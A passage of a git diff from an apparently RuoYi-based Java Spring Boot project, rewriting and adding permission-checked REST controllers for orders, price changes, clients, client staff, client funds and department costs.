/** - * 查询订单管理列表 - */ - @SaCheckPermission("work:skillOrder:list") - @GetMapping("/list") - public TableDataInfo list(TpOrderBo bo, PageQuery pageQuery) { - return tpOrderService.querySkillPageList(bo, pageQuery); - } - - /** - * 查询订单统计(技术) - */ - @SaCheckPermission("work:skillOrder:sum") - @GetMapping("/sum") - public R sum(TpOrderBo bo) { - return R.ok(tpOrderService.querySkillSum(bo)); - } - - /** - * 导出技术订单 - */ - @SaCheckPermission("work:skillOrder:export") - @Log(title = "导出技术订单", businessType = BusinessType.EXPORT) - @PostMapping("/export") - public void export(TpOrderBo bo, HttpServletResponse response) { - List list = tpOrderService.queryListJS(bo); - ExcelUtil.exportExcel(list, "导出技术订单", TpOrderVo.class, response); - } - - /** - * 获取订单管理详细信息 - * - * @param id 主键 - */ - @SaCheckPermission("work:skillOrder:query") - @GetMapping("/{id}") - public R getInfo(@NotNull(message = "主键不能为空") - @PathVariable Long id) { - return R.ok(tpOrderService.queryById(id)); - } - - /** - * 新增订单管理 - */ - @SaCheckPermission("work:skillOrder:add") - @Log(title = "订单管理", businessType = BusinessType.INSERT) - @RepeatSubmit() - @PostMapping() - public R add(@Validated(AddGroup.class) @RequestBody TpOrderBo bo) { - return toAjax(tpOrderService.insertByBo(bo)); - } - - /** - * 修改订单管理 - */ - @SaCheckPermission("work:skillOrder:edit") - @Log(title = "订单管理", businessType = BusinessType.UPDATE) - @RepeatSubmit() - @PutMapping() - public R edit(@Validated(EditGroup.class) @RequestBody TpOrderBo bo) { - return toAjax(tpOrderService.updateByBo(bo)); - } - - /** - * 删除订单管理 - * - * @param ids 主键串 - */ - @SaCheckPermission("work:skillOrder:remove") - @Log(title = "订单管理", businessType = BusinessType.DELETE) - @DeleteMapping("/{ids}") - public R remove(@NotEmpty(message = "主键不能为空") - @PathVariable Long[] ids) { - return toAjax(tpOrderService.deleteWithValidByIds(List.of(ids), true)); - } -} +package org.dromara.work.controller; + +import cn.dev33.satoken.annotation.SaCheckPermission; +import jakarta.servlet.http.HttpServletResponse; +import jakarta.validation.constraints.NotEmpty; +import jakarta.validation.constraints.NotNull; +import lombok.RequiredArgsConstructor; +import org.dromara.common.core.domain.R; +import org.dromara.common.core.validate.AddGroup; +import org.dromara.common.core.validate.EditGroup; +import org.dromara.common.excel.utils.ExcelUtil; +import org.dromara.common.idempotent.annotation.RepeatSubmit; +import org.dromara.common.log.annotation.Log; +import org.dromara.common.log.enums.BusinessType; +import org.dromara.common.mybatis.core.page.PageQuery; +import org.dromara.common.mybatis.core.page.TableDataInfo; +import org.dromara.common.web.core.BaseController; +import org.dromara.work.domain.bo.TpOrderBo; +import org.dromara.work.domain.vo.SkillOrderSumVo; +import org.dromara.work.domain.vo.SkillOrderVo; +import org.dromara.work.domain.vo.TpOrderVo; +import org.dromara.work.service.ITpOrderService; +import org.springframework.validation.annotation.Validated; +import org.springframework.web.bind.annotation.*; + +import java.util.List; + +/** + * 订单管理(技术) + * + * @author Maosw + * @date 2024-08-12 + */ +@Validated +@RequiredArgsConstructor +@RestController +@RequestMapping("/work/skill/order") +public class SkillOrderController extends BaseController { + + private final ITpOrderService tpOrderService; + + /** + * 查询订单管理列表 + */ + @SaCheckPermission("work:skillOrder:list") + @GetMapping("/list") + public TableDataInfo list(TpOrderBo bo, PageQuery pageQuery) { + return tpOrderService.querySkillPageList(bo, pageQuery); + } + + /** + * 查询订单统计(技术) + */ + @SaCheckPermission("work:skillOrder:sum") + @GetMapping("/sum") + public R sum(TpOrderBo bo) { + return R.ok(tpOrderService.querySkillSum(bo)); + } + + /** + * 导出技术订单 + */ + @SaCheckPermission("work:skillOrder:export") + @Log(title = "导出技术订单", businessType = BusinessType.EXPORT) + @PostMapping("/export") + public void export(TpOrderBo bo, HttpServletResponse response) { + List list = tpOrderService.queryListJS(bo); + ExcelUtil.exportExcel(list, "导出技术订单", TpOrderVo.class, response); + } + + /** + * 获取订单管理详细信息 + * + * @param id 主键 + */ + @SaCheckPermission("work:skillOrder:query") + @GetMapping("/{id}") + public R getInfo(@NotNull(message = "主键不能为空") + @PathVariable Long id) { + return R.ok(tpOrderService.queryById(id)); + } + + /** + * 新增订单管理 + */ + @SaCheckPermission("work:skillOrder:add") + @Log(title = "订单管理", businessType = BusinessType.INSERT) + @RepeatSubmit() + @PostMapping() + public R add(@Validated(AddGroup.class) @RequestBody TpOrderBo bo) { + return toAjax(tpOrderService.insertByBo(bo)); + } + + /** + * 修改订单管理 + */ + @SaCheckPermission("work:skillOrder:edit") + @Log(title = "订单管理", businessType = BusinessType.UPDATE) + @RepeatSubmit() + @PutMapping() + public R edit(@Validated(EditGroup.class) @RequestBody TpOrderBo bo) { + return toAjax(tpOrderService.updateByBo(bo)); + } + + /** + * 删除订单管理 + * + * @param ids 主键串 + */ + @SaCheckPermission("work:skillOrder:remove") + @Log(title = "订单管理", businessType = BusinessType.DELETE) + @DeleteMapping("/{ids}") + public R remove(@NotEmpty(message = "主键不能为空") + @PathVariable Long[] ids) { + return toAjax(tpOrderService.deleteWithValidByIds(List.of(ids), true)); + } +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/controller/TpChangePriceController.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/controller/TpChangePriceController.java index ef8a4e2..61288b0 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/controller/TpChangePriceController.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/controller/TpChangePriceController.java @@ -1,106 +1,106 @@ -package org.dromara.work.controller; - -import cn.dev33.satoken.annotation.SaCheckPermission; -import jakarta.servlet.http.HttpServletResponse; -import jakarta.validation.constraints.NotEmpty; -import jakarta.validation.constraints.NotNull; -import lombok.RequiredArgsConstructor; -import org.dromara.common.core.domain.R; -import org.dromara.common.core.validate.AddGroup; -import org.dromara.common.core.validate.EditGroup; -import org.dromara.common.excel.utils.ExcelUtil; -import org.dromara.common.idempotent.annotation.RepeatSubmit; -import org.dromara.common.log.annotation.Log; -import org.dromara.common.log.enums.BusinessType; -import org.dromara.common.mybatis.core.page.PageQuery; -import org.dromara.common.mybatis.core.page.TableDataInfo; -import org.dromara.common.web.core.BaseController; -import org.dromara.work.domain.bo.TpChangePriceBo; -import org.dromara.work.domain.vo.TpChangePriceVo; -import org.dromara.work.service.ITpChangePriceService; -import org.springframework.validation.annotation.Validated; -import org.springframework.web.bind.annotation.*; - -import java.util.List; - -/** - * 改价配置 - * - * @author Maosw - * @date 2024-08-12 - */ -@Validated -@RequiredArgsConstructor -@RestController -@RequestMapping("/work/changePrice") -public class TpChangePriceController extends BaseController { - - private final ITpChangePriceService tpChangePriceService; - - /** - * 查询改价配置列表 - */ - @SaCheckPermission("work:changePrice:list") - @GetMapping("/list") - public TableDataInfo list(TpChangePriceBo bo, PageQuery pageQuery) { - return tpChangePriceService.queryPageList(bo, pageQuery); - } - - /** - * 导出改价配置列表 - */ - @SaCheckPermission("work:changePrice:export") - @Log(title = "改价配置", businessType = BusinessType.EXPORT) - @PostMapping("/export") - public void export(TpChangePriceBo bo, HttpServletResponse response) { - List list = tpChangePriceService.queryList(bo); - ExcelUtil.exportExcel(list, "改价配置", TpChangePriceVo.class, response); - } - - /** - * 获取改价配置详细信息 - * - * @param id 主键 - */ - @SaCheckPermission("work:changePrice:query") - @GetMapping("/{id}") - public R getInfo(@NotNull(message = "主键不能为空") - @PathVariable Long id) { - return R.ok(tpChangePriceService.queryById(id)); - } - - /** - * 新增改价配置 - */ - @SaCheckPermission("work:changePrice:add") - @Log(title = "改价配置", businessType = BusinessType.INSERT) - @RepeatSubmit() - @PostMapping() - public R add(@Validated(AddGroup.class) @RequestBody TpChangePriceBo bo) { - return toAjax(tpChangePriceService.insertByBo(bo)); - } - - /** - * 修改改价配置 - */ - @SaCheckPermission("work:changePrice:edit") - @Log(title = "改价配置", businessType = BusinessType.UPDATE) - @RepeatSubmit() - @PutMapping() - public R edit(@Validated(EditGroup.class) @RequestBody TpChangePriceBo bo) { - return toAjax(tpChangePriceService.updateByBo(bo)); - } - - /** - * 删除改价配置 - * - * @param ids 主键串 - */ - @SaCheckPermission("work:changePrice:remove") - @Log(title = "改价配置", businessType = BusinessType.DELETE) - @DeleteMapping("/{ids}") - public R remove(@NotEmpty(message = "主键不能为空") - @PathVariable Long[] ids) { - return toAjax(tpChangePriceService.deleteWithValidByIds(List.of(ids), true)); - } -} +package org.dromara.work.controller; + +import cn.dev33.satoken.annotation.SaCheckPermission; +import jakarta.servlet.http.HttpServletResponse; +import jakarta.validation.constraints.NotEmpty; +import jakarta.validation.constraints.NotNull; +import lombok.RequiredArgsConstructor; +import org.dromara.common.core.domain.R; +import org.dromara.common.core.validate.AddGroup; +import org.dromara.common.core.validate.EditGroup; +import org.dromara.common.excel.utils.ExcelUtil; +import org.dromara.common.idempotent.annotation.RepeatSubmit; +import org.dromara.common.log.annotation.Log; +import org.dromara.common.log.enums.BusinessType; +import org.dromara.common.mybatis.core.page.PageQuery; +import org.dromara.common.mybatis.core.page.TableDataInfo; +import org.dromara.common.web.core.BaseController; +import org.dromara.work.domain.bo.TpChangePriceBo; +import org.dromara.work.domain.vo.TpChangePriceVo; +import org.dromara.work.service.ITpChangePriceService; +import org.springframework.validation.annotation.Validated; +import org.springframework.web.bind.annotation.*; + +import java.util.List; + +/** + * 改价配置 + * + * @author Maosw + * @date 2024-08-12 + */ +@Validated +@RequiredArgsConstructor +@RestController +@RequestMapping("/work/changePrice") +public class TpChangePriceController extends BaseController { + + private final ITpChangePriceService tpChangePriceService; + + /** + * 查询改价配置列表 + */ + @SaCheckPermission("work:changePrice:list") + @GetMapping("/list") + public TableDataInfo list(TpChangePriceBo bo, PageQuery pageQuery) { + return tpChangePriceService.queryPageList(bo, pageQuery); + } + + /** + * 导出改价配置列表 + */ + @SaCheckPermission("work:changePrice:export") + @Log(title = "改价配置", businessType = BusinessType.EXPORT) + @PostMapping("/export") + public void export(TpChangePriceBo bo, HttpServletResponse response) { + List list = tpChangePriceService.queryList(bo); + ExcelUtil.exportExcel(list, "改价配置", TpChangePriceVo.class, response); + } + + /** + * 获取改价配置详细信息 + * + * @param id 主键 + */ + @SaCheckPermission("work:changePrice:query") + @GetMapping("/{id}") + public R getInfo(@NotNull(message = "主键不能为空") + @PathVariable Long id) { + return R.ok(tpChangePriceService.queryById(id)); + } + + /** + * 新增改价配置 + */ + @SaCheckPermission("work:changePrice:add") + @Log(title = "改价配置", businessType = BusinessType.INSERT) + @RepeatSubmit() + @PostMapping() + public R add(@Validated(AddGroup.class) @RequestBody TpChangePriceBo bo) { + return toAjax(tpChangePriceService.insertByBo(bo)); + } + + /** + * 修改改价配置 + */ + @SaCheckPermission("work:changePrice:edit") + @Log(title = "改价配置", businessType = BusinessType.UPDATE) + @RepeatSubmit() + @PutMapping() + public R edit(@Validated(EditGroup.class) @RequestBody TpChangePriceBo bo) { + return toAjax(tpChangePriceService.updateByBo(bo)); + } + + /** + * 删除改价配置 + * + * @param ids 主键串 + */ + @SaCheckPermission("work:changePrice:remove") + @Log(title = "改价配置", businessType = BusinessType.DELETE) + @DeleteMapping("/{ids}") + public R remove(@NotEmpty(message = "主键不能为空") + @PathVariable Long[] ids) { + return toAjax(tpChangePriceService.deleteWithValidByIds(List.of(ids), true)); + } +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/controller/TpClientController.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/controller/TpClientController.java index 663367a..8c4a432 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/controller/TpClientController.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/controller/TpClientController.java @@ -1,116 +1,116 @@ -package org.dromara.work.controller; - -import cn.dev33.satoken.annotation.SaCheckPermission; -import jakarta.servlet.http.HttpServletResponse; -import jakarta.validation.constraints.NotEmpty; -import jakarta.validation.constraints.NotNull; -import lombok.RequiredArgsConstructor; -import org.dromara.common.core.domain.R; -import org.dromara.common.core.validate.AddGroup; -import org.dromara.common.core.validate.EditGroup; -import org.dromara.common.excel.utils.ExcelUtil; -import org.dromara.common.idempotent.annotation.RepeatSubmit; -import org.dromara.common.log.annotation.Log; -import org.dromara.common.log.enums.BusinessType; -import org.dromara.common.mybatis.core.page.PageQuery; -import org.dromara.common.mybatis.core.page.TableDataInfo; -import org.dromara.common.web.core.BaseController; -import org.dromara.work.domain.bo.TpClientBo; -import org.dromara.work.domain.vo.ClientSumVo; -import org.dromara.work.domain.vo.TpClientVo; -import org.dromara.work.service.ITpClientService; -import org.springframework.validation.annotation.Validated; -import org.springframework.web.bind.annotation.*; - -import java.util.List; - -/** - * 客户 - * - * @author Maosw - * @date 2024-08-12 - */ -@Validated -@RequiredArgsConstructor -@RestController -@RequestMapping("/work/client") -public class TpClientController extends BaseController { - - private final ITpClientService tpClientService; - - /** - * 查询客户列表 - */ - @SaCheckPermission("work:client:list") - @GetMapping("/list") - public TableDataInfo list(TpClientBo bo, PageQuery pageQuery) { - return tpClientService.queryPageList(bo, pageQuery); - } - - /** - * 查询客户下单金额统计列表 - */ - @SaCheckPermission("work:client:listChart") - @GetMapping("/listChart") - public TableDataInfo listChart(TpClientBo bo, PageQuery pageQuery) { - return tpClientService.queryPageListChart(bo, pageQuery); - } - - /** - * 导出客户列表 - */ - @SaCheckPermission("work:client:export") - @Log(title = "导出客户列表", businessType = BusinessType.EXPORT) - @PostMapping("/export") - public void export(TpClientBo bo, HttpServletResponse response) { - List list = tpClientService.queryList(bo); - ExcelUtil.exportExcel(list, "导出客户列表", TpClientVo.class, response); - } - - /** - * 获取客户详细信息 - * - * @param id 主键 - */ - @SaCheckPermission("work:client:query") - @GetMapping("/{id}") - public R getInfo(@NotNull(message = "主键不能为空") - @PathVariable Long id) { - return R.ok(tpClientService.queryById(id)); - } - - /** - * 新增客户 - */ - @SaCheckPermission("work:client:add") - @Log(title = "客户", businessType = BusinessType.INSERT) - @RepeatSubmit() - @PostMapping() - public R add(@Validated(AddGroup.class) @RequestBody TpClientBo bo) { - return toAjax(tpClientService.insertByBo(bo)); - } - - /** - * 修改客户 - */ - @SaCheckPermission("work:client:edit") - @Log(title = "客户", businessType = BusinessType.UPDATE) - @RepeatSubmit() - @PutMapping() - public R edit(@Validated(EditGroup.class) @RequestBody TpClientBo bo) { - return toAjax(tpClientService.updateByBo(bo)); - } - - /** - * 删除客户 - * - * @param ids 主键串 - */ - @SaCheckPermission("work:client:remove") - @Log(title = "客户", businessType = BusinessType.DELETE) - @DeleteMapping("/{ids}") - public R remove(@NotEmpty(message = "主键不能为空") - @PathVariable Long[] ids) { - return toAjax(tpClientService.deleteWithValidByIds(List.of(ids), true)); - } -} +package org.dromara.work.controller; + +import cn.dev33.satoken.annotation.SaCheckPermission; +import jakarta.servlet.http.HttpServletResponse; +import jakarta.validation.constraints.NotEmpty; +import jakarta.validation.constraints.NotNull; +import lombok.RequiredArgsConstructor; +import org.dromara.common.core.domain.R; +import org.dromara.common.core.validate.AddGroup; +import org.dromara.common.core.validate.EditGroup; +import org.dromara.common.excel.utils.ExcelUtil; +import org.dromara.common.idempotent.annotation.RepeatSubmit; +import org.dromara.common.log.annotation.Log; +import org.dromara.common.log.enums.BusinessType; +import org.dromara.common.mybatis.core.page.PageQuery; +import org.dromara.common.mybatis.core.page.TableDataInfo; +import org.dromara.common.web.core.BaseController; +import org.dromara.work.domain.bo.TpClientBo; +import org.dromara.work.domain.vo.ClientSumVo; +import org.dromara.work.domain.vo.TpClientVo; +import org.dromara.work.service.ITpClientService; +import org.springframework.validation.annotation.Validated; +import org.springframework.web.bind.annotation.*; + +import java.util.List; + +/** + * 客户 + * + * @author Maosw + * @date 2024-08-12 + */ +@Validated +@RequiredArgsConstructor +@RestController +@RequestMapping("/work/client") +public class TpClientController extends BaseController { + + private final ITpClientService tpClientService; + + /** + * 查询客户列表 + */ + @SaCheckPermission("work:client:list") + @GetMapping("/list") + public TableDataInfo list(TpClientBo bo, PageQuery pageQuery) { + return tpClientService.queryPageList(bo, pageQuery); + } + + /** + * 查询客户下单金额统计列表 + */ + @SaCheckPermission("work:client:listChart") + @GetMapping("/listChart") + public TableDataInfo listChart(TpClientBo bo, PageQuery pageQuery) { + return tpClientService.queryPageListChart(bo, pageQuery); + } + + /** + * 导出客户列表 + */ + @SaCheckPermission("work:client:export") + @Log(title = "导出客户列表", businessType = BusinessType.EXPORT) + @PostMapping("/export") + public void export(TpClientBo bo, HttpServletResponse response) { + List list = tpClientService.queryList(bo); + ExcelUtil.exportExcel(list, "导出客户列表", TpClientVo.class, response); + } + + /** + * 获取客户详细信息 + * + * @param id 主键 + */ + @SaCheckPermission("work:client:query") + @GetMapping("/{id}") + public R getInfo(@NotNull(message = "主键不能为空") + @PathVariable Long id) { + return R.ok(tpClientService.queryById(id)); + } + + /** + * 新增客户 + */ + @SaCheckPermission("work:client:add") + @Log(title = "客户", businessType = BusinessType.INSERT) + @RepeatSubmit() + @PostMapping() + public R add(@Validated(AddGroup.class) @RequestBody TpClientBo bo) { + return toAjax(tpClientService.insertByBo(bo)); + } + + /** + * 修改客户 + */ + @SaCheckPermission("work:client:edit") + @Log(title = "客户", businessType = BusinessType.UPDATE) + @RepeatSubmit() + @PutMapping() + public R edit(@Validated(EditGroup.class) @RequestBody TpClientBo bo) { + return toAjax(tpClientService.updateByBo(bo)); + } + + /** + * 删除客户 + * + * @param ids 主键串 + */ + @SaCheckPermission("work:client:remove") + @Log(title = "客户", businessType = BusinessType.DELETE) + @DeleteMapping("/{ids}") + public R remove(@NotEmpty(message = "主键不能为空") + @PathVariable Long[] ids) { + return toAjax(tpClientService.deleteWithValidByIds(List.of(ids), true)); + } +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/controller/TpClientFundController.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/controller/TpClientFundController.java new file mode 100644 index 0000000..a919da9 --- /dev/null +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/controller/TpClientFundController.java @@ -0,0 +1,105 @@ +package org.dromara.work.controller; + +import java.util.List; + +import lombok.RequiredArgsConstructor; +import jakarta.servlet.http.HttpServletResponse; +import jakarta.validation.constraints.*; +import cn.dev33.satoken.annotation.SaCheckPermission; +import org.springframework.web.bind.annotation.*; +import org.springframework.validation.annotation.Validated; +import org.dromara.common.idempotent.annotation.RepeatSubmit; +import org.dromara.common.log.annotation.Log; +import org.dromara.common.web.core.BaseController; +import org.dromara.common.mybatis.core.page.PageQuery; +import org.dromara.common.core.domain.R; +import org.dromara.common.core.validate.AddGroup; +import org.dromara.common.core.validate.EditGroup; +import org.dromara.common.log.enums.BusinessType; +import org.dromara.common.excel.utils.ExcelUtil; +import org.dromara.work.domain.vo.TpClientFundVo; +import org.dromara.work.domain.bo.TpClientFundBo; +import org.dromara.work.service.ITpClientFundService; +import org.dromara.common.mybatis.core.page.TableDataInfo; + +/** + * 客户资金记录 + * + * @author Maosw + * @date 2026-01-16 + */ +@Validated +@RequiredArgsConstructor +@RestController +@RequestMapping("/work/clientFund") +public class TpClientFundController extends BaseController { + + private final ITpClientFundService tpClientFundService; + + /** + * 查询客户资金记录列表 + */ + @SaCheckPermission("work:clientFund:list") + @GetMapping("/list") + public TableDataInfo list(TpClientFundBo bo, PageQuery pageQuery) { + return tpClientFundService.queryPageList(bo, pageQuery); + } + + /** + * 导出客户资金记录列表 + */ + @SaCheckPermission("work:clientFund:export") + @Log(title = "客户资金记录", businessType = BusinessType.EXPORT) + @PostMapping("/export") + public void export(TpClientFundBo bo, HttpServletResponse response) { + List list = tpClientFundService.queryList(bo); + ExcelUtil.exportExcel(list, "客户资金记录", TpClientFundVo.class, response); + } + + /** + * 获取客户资金记录详细信息 + * + * @param id 主键 + */ + @SaCheckPermission("work:clientFund:query") + @GetMapping("/{id}") + public R getInfo(@NotNull(message = "主键不能为空") + @PathVariable Long id) { + return R.ok(tpClientFundService.queryById(id)); + } + + /** + * 新增客户资金记录 + */ + @SaCheckPermission("work:clientFund:add") + @Log(title = "客户资金记录", businessType = BusinessType.INSERT) + @RepeatSubmit() + @PostMapping() + public R add(@Validated(AddGroup.class) @RequestBody TpClientFundBo bo) { + return toAjax(tpClientFundService.insertByBo(bo)); + } + + /** + * 修改客户资金记录 + */ + @SaCheckPermission("work:clientFund:edit") + @Log(title = "客户资金记录", businessType = BusinessType.UPDATE) + @RepeatSubmit() + @PutMapping() + public R edit(@Validated(EditGroup.class) @RequestBody TpClientFundBo bo) { + return toAjax(tpClientFundService.updateByBo(bo)); + } + + /** + * 删除客户资金记录 + * + * @param ids 主键串 + */ + @SaCheckPermission("work:clientFund:remove") + @Log(title = "客户资金记录", businessType = BusinessType.DELETE) + @DeleteMapping("/{ids}") + public R remove(@NotEmpty(message = "主键不能为空") + @PathVariable Long[] ids) { + return toAjax(tpClientFundService.deleteWithValidByIds(List.of(ids), true)); + } +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/controller/TpClientStaffController.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/controller/TpClientStaffController.java index 4976949..f03c56d 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/controller/TpClientStaffController.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/controller/TpClientStaffController.java @@ -1,106 +1,106 @@ -package org.dromara.work.controller; - -import cn.dev33.satoken.annotation.SaCheckPermission; -import jakarta.servlet.http.HttpServletResponse; -import jakarta.validation.constraints.NotEmpty; -import jakarta.validation.constraints.NotNull; -import lombok.RequiredArgsConstructor; -import org.dromara.common.core.domain.R; -import org.dromara.common.core.validate.AddGroup; -import org.dromara.common.core.validate.EditGroup; -import org.dromara.common.excel.utils.ExcelUtil; -import org.dromara.common.idempotent.annotation.RepeatSubmit; -import org.dromara.common.log.annotation.Log; -import org.dromara.common.log.enums.BusinessType; -import org.dromara.common.mybatis.core.page.PageQuery; -import org.dromara.common.mybatis.core.page.TableDataInfo; -import org.dromara.common.web.core.BaseController; -import org.dromara.work.domain.bo.TpClientStaffBo; -import org.dromara.work.domain.vo.TpClientStaffVo; -import org.dromara.work.service.ITpClientStaffService; -import org.springframework.validation.annotation.Validated; -import org.springframework.web.bind.annotation.*; - -import java.util.List; - -/** - * 客服客户管理 - * - * @author Maosw - * @date 2024-08-12 - */ -@Validated -@RequiredArgsConstructor -@RestController -@RequestMapping("/work/clientStaff") -public class TpClientStaffController extends BaseController { - - private final ITpClientStaffService tpClientStaffService; - - /** - * 查询客服客户管理列表 - */ - @SaCheckPermission("work:clientStaff:list") - @GetMapping("/list") - public TableDataInfo list(TpClientStaffBo bo, PageQuery pageQuery) { - return tpClientStaffService.queryPageList(bo, pageQuery); - } - - /** - * 导出客服客户列表 - */ - @SaCheckPermission("work:clientStaff:export") - @Log(title = "导出客服客户列表", businessType = BusinessType.EXPORT) - @PostMapping("/export") - public void export(TpClientStaffBo bo, HttpServletResponse response) { - List list = tpClientStaffService.queryList(bo); - ExcelUtil.exportExcel(list, "导出客服客户列表", TpClientStaffVo.class, response); - } - - /** - * 获取客服客户管理详细信息 - * - * @param id 主键 - */ - @SaCheckPermission("work:clientStaff:query") - @GetMapping("/{id}") - public R getInfo(@NotNull(message = "主键不能为空") - @PathVariable Long id) { - return R.ok(tpClientStaffService.queryById(id)); - } - - /** - * 新增客服客户管理 - */ - @SaCheckPermission("work:clientStaff:add") - @Log(title = "客服客户管理", businessType = BusinessType.INSERT) - @RepeatSubmit() - @PostMapping() - public R add(@Validated(AddGroup.class) @RequestBody TpClientStaffBo bo) { - return toAjax(tpClientStaffService.insertByBo(bo)); - } - - /** - * 修改客服客户管理 - */ - @SaCheckPermission("work:clientStaff:edit") - @Log(title = "客服客户管理", businessType = BusinessType.UPDATE) - @RepeatSubmit() - @PutMapping() - public R edit(@Validated(EditGroup.class) @RequestBody TpClientStaffBo bo) { - return toAjax(tpClientStaffService.updateByBo(bo)); - } - - /** - * 删除客服客户管理 - * - * @param ids 主键串 - */ - @SaCheckPermission("work:clientStaff:remove") - @Log(title = "客服客户管理", businessType = BusinessType.DELETE) - @DeleteMapping("/{ids}") - public R remove(@NotEmpty(message = "主键不能为空") - @PathVariable Long[] ids) { - return toAjax(tpClientStaffService.deleteWithValidByIds(List.of(ids), true)); - } -} +package org.dromara.work.controller; + +import cn.dev33.satoken.annotation.SaCheckPermission; +import jakarta.servlet.http.HttpServletResponse; +import jakarta.validation.constraints.NotEmpty; +import jakarta.validation.constraints.NotNull; +import lombok.RequiredArgsConstructor; +import org.dromara.common.core.domain.R; +import org.dromara.common.core.validate.AddGroup; +import org.dromara.common.core.validate.EditGroup; +import org.dromara.common.excel.utils.ExcelUtil; +import org.dromara.common.idempotent.annotation.RepeatSubmit; +import org.dromara.common.log.annotation.Log; +import org.dromara.common.log.enums.BusinessType; +import org.dromara.common.mybatis.core.page.PageQuery; +import org.dromara.common.mybatis.core.page.TableDataInfo; +import org.dromara.common.web.core.BaseController; +import org.dromara.work.domain.bo.TpClientStaffBo; +import org.dromara.work.domain.vo.TpClientStaffVo; +import org.dromara.work.service.ITpClientStaffService; +import org.springframework.validation.annotation.Validated; +import org.springframework.web.bind.annotation.*; + +import java.util.List; + +/** + * 客服客户管理 + * + * @author Maosw + * @date 2024-08-12 + */ +@Validated +@RequiredArgsConstructor +@RestController +@RequestMapping("/work/clientStaff") +public class TpClientStaffController extends BaseController { + + private final ITpClientStaffService tpClientStaffService; + + /** + * 查询客服客户管理列表 + */ + @SaCheckPermission("work:clientStaff:list") + @GetMapping("/list") + public TableDataInfo list(TpClientStaffBo bo, PageQuery pageQuery) { + return tpClientStaffService.queryPageList(bo, pageQuery); + } + + /** + * 导出客服客户列表 + */ + @SaCheckPermission("work:clientStaff:export") + @Log(title = "导出客服客户列表", businessType = BusinessType.EXPORT) + @PostMapping("/export") + public void export(TpClientStaffBo bo, HttpServletResponse response) { + List list = tpClientStaffService.queryList(bo); + ExcelUtil.exportExcel(list, "导出客服客户列表", TpClientStaffVo.class, response); + } + + /** + * 获取客服客户管理详细信息 + * + * @param id 主键 + */ + @SaCheckPermission("work:clientStaff:query") + @GetMapping("/{id}") + public R getInfo(@NotNull(message = "主键不能为空") + @PathVariable Long id) { + return R.ok(tpClientStaffService.queryById(id)); + } + + /** + * 新增客服客户管理 + */ + @SaCheckPermission("work:clientStaff:add") + @Log(title = "客服客户管理", businessType = BusinessType.INSERT) + @RepeatSubmit() + @PostMapping() + public R add(@Validated(AddGroup.class) @RequestBody TpClientStaffBo bo) { + return toAjax(tpClientStaffService.insertByBo(bo)); + } + + /** + * 修改客服客户管理 + */ + @SaCheckPermission("work:clientStaff:edit") + @Log(title = "客服客户管理", businessType = BusinessType.UPDATE) + @RepeatSubmit() + @PutMapping() + public R edit(@Validated(EditGroup.class) @RequestBody TpClientStaffBo bo) { + return toAjax(tpClientStaffService.updateByBo(bo)); + } + + /** + * 删除客服客户管理 + * + * @param ids 主键串 + */ + @SaCheckPermission("work:clientStaff:remove") + @Log(title = "客服客户管理", businessType = BusinessType.DELETE) + @DeleteMapping("/{ids}") + public R remove(@NotEmpty(message = "主键不能为空") + @PathVariable Long[] ids) { + return toAjax(tpClientStaffService.deleteWithValidByIds(List.of(ids), true)); + } +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/controller/TpDeptCostController.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/controller/TpDeptCostController.java new file mode 100644 index 0000000..58fae0f --- /dev/null +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/controller/TpDeptCostController.java @@ -0,0 +1,105 @@ +package org.dromara.work.controller; + +import java.util.List; + +import lombok.RequiredArgsConstructor; +import jakarta.servlet.http.HttpServletResponse; +import jakarta.validation.constraints.*; +import cn.dev33.satoken.annotation.SaCheckPermission; +import org.springframework.web.bind.annotation.*; +import org.springframework.validation.annotation.Validated; +import org.dromara.common.idempotent.annotation.RepeatSubmit; +import org.dromara.common.log.annotation.Log; +import org.dromara.common.web.core.BaseController; +import org.dromara.common.mybatis.core.page.PageQuery; +import org.dromara.common.core.domain.R; +import org.dromara.common.core.validate.AddGroup; +import org.dromara.common.core.validate.EditGroup; +import org.dromara.common.log.enums.BusinessType; +import org.dromara.common.excel.utils.ExcelUtil; +import org.dromara.work.domain.vo.TpDeptCostVo; +import org.dromara.work.domain.bo.TpDeptCostBo; +import org.dromara.work.service.ITpDeptCostService; +import org.dromara.common.mybatis.core.page.TableDataInfo; + +/** + * 部门成本 + * + * @author Maosw + * @date 2025-11-20 + */ +@Validated +@RequiredArgsConstructor +@RestController +@RequestMapping("/work/deptCost") +public class TpDeptCostController extends BaseController { + + private final ITpDeptCostService tpDeptCostService; + + /** + * 查询部门成本列表 + */ + @SaCheckPermission("work:deptCost:list") + @GetMapping("/list") + public TableDataInfo list(TpDeptCostBo bo, PageQuery pageQuery) { + return tpDeptCostService.queryPageList(bo, pageQuery); + } + + /** + * 导出部门成本列表 + */ + @SaCheckPermission("work:deptCost:export") + @Log(title = "部门成本", businessType = BusinessType.EXPORT) + @PostMapping("/export") + public void export(TpDeptCostBo bo, HttpServletResponse response) { + List list = tpDeptCostService.queryList(bo); + ExcelUtil.exportExcel(list, "部门成本", TpDeptCostVo.class, response); + } + + /** + * 获取部门成本详细信息 + * + * @param id 主键 + */ + @SaCheckPermission("work:deptCost:query") + @GetMapping("/{id}") + public R getInfo(@NotNull(message = "主键不能为空") + @PathVariable Long id) { + return R.ok(tpDeptCostService.queryById(id)); + } + + /** + * 新增部门成本 + */ + @SaCheckPermission("work:deptCost:add") + @Log(title = "部门成本", businessType = BusinessType.INSERT) 